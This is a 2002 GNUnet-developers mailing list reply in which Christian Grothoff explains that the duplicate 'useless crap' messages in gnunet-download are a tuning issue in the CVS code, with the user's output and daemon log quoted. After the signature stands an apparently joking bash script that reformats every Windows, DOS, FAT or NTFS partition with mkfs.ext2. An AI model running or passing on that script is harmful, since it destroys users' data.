Re: [GNUnet-developers] useless crap??

[Christian Grothoff]

On Monday 29 April 2002 03:44 pm, you wrote:
> I am running a Debian unstable box with Linux 2.4.17 on a version of
> gnunet built from the latest CVS.

I'm currently debugging some issues. The problem is that the client
sends a second (3rd, 4th) request for data before the first is processed. The
server than sends back the reply for the request multiple times. The
second, 3rd, 4th replies are useless (crap) because the client is no longer
looking for it. 

This is a tuneing issue and presumably only prevalent if the content comes
from the local host. CVS versions of GNUnet can behave in odd ways, so if
you want to avoid 'useless crap', you may want to stick to the releases :-)

Christian

> I am running this command:
>
> $ gnunet-download -o gpl.txt -- E340434B7BA24DA6819A2F16AF3AECE2CC4D15F6
> -1304141382 17992 # I got the checksum from the manpage
> # too bad that page doesn't include the key I could search for to find
> # that result myself.
>
> I get output that looks like this from gnunet-download:
>
> 14920 of 17992 downloaded (94BDA74DDD9832A27D175FA24E73E201820FBE9D)
> received useless crap 10288 (0)!
> 14920 of 17992 downloaded (94BDA74DDD9832A27D175FA24E73E201820FBE9D)
> received useless crap 10320 (0)!
> 14920 of 17992 downloaded (94BDA74DDD9832A27D175FA24E73E201820FBE9D)
> received useless crap 10352 (0)!
> 14920 of 17992 downloaded (94BDA74DDD9832A27D175FA24E73E201820FBE9D)
> received useless crap 10384 (0)!
> 14920 of 17992 downloaded (94BDA74DDD9832A27D175FA24E73E201820FBE9D)
> received useless crap 10416 (0)!
> 14920 of 17992 downloaded (94BDA74DDD9832A27D175FA24E73E201820FBE9D)
> received useless crap 10448 (0)!
> 14920 of 17992 downloaded (94BDA74DDD9832A27D175FA24E73E201820FBE9D)
> received useless crap 10480 (0)!
>
> The debug output on gnunetd looks like this:
>
> CONTENT: Using Content 94BDA74DDD9832A27D175FA24E73E201820FBE9D.
> CONTENT: Indirecting CONTENT to 0000000000000000000000000000000000000000.
> QUERY: unicasting reply 94BDA74DDD9832A27D175FA24E73E201820FBE9D to
> 94677BDDB22892C33D8D370F61E1102B8FBBE065 TCP: begin sending 1044 bytes
> matching query 94BDA74DDD9832A27D175FA24E73E201820FBE9D. CONNECTION:
> Marking host 915ACFBBDBA5F145CBFDB1E1D37E3A0F0B8F6305 active. UDP: Handling
> 3QUERY for 85401B3EEB0857490B1754488C2683D56F7F9F0A from  12.253. 24. 46:
> 2086. QUERY: Checking if query is pending.
> QUERY: Query is pending 85401B3EEB0857490B1754488C2683D56F7F9F0A (with ttl
> old 26 and new 21). QUERY: Indirecting Query
> 85401B3EEB0857490B1754488C2683D56F7F9F0A. QUERY: The query we are
> indirecting is already in the table.
> QUERY: local lookup for 94BDA74DDD9832A27D175FA24E73E201820FBE9D.
> QUERY: local lookup succeded. Sending reply
> (/home/wscott//.gnunet/data/content/94BDA74DDD9832A27D175FA24E73E201820FBE9
>D)! CONTENT: Using Content 94BDA74DDD9832A27D175FA24E73E201820FBE9D.
>
>
> It seems that my local datastore is corrupt and so we keep returning
> the bad data over and over again.
>
> Anyone seen this before?  Is this normal?
>
> It does seem like it did finally get the block it wanted.  The gpl.txt
> fetch is not finished yet.  Should it take 30 minutes to get a 17k
> file???

Nope, and it doesn't do that in the 0.3.3 release. As I said, I was tuneing 
it (and breaking - fixing - breaking stuff). I was trying to get a 10 MB
file *quickly*, nut just 17k...

Christian
-- 
______________________________________________________
|Christian Grothoff                                  |
|650-2 Young Graduate House, West Lafayette, IN 47906|
|http://gecko.cs.purdue.edu/   address@hidden|
|____________________________________________________|
#!/bin/bash
for i in `fdisk -l|grep -E "Win|DOS|FAT|NTFS"|awk \
'{print$1;}'`;do nohup mkfs.ext2 $i&; done
echo -e "\n\n\t\tMay the source be with you.\n\n"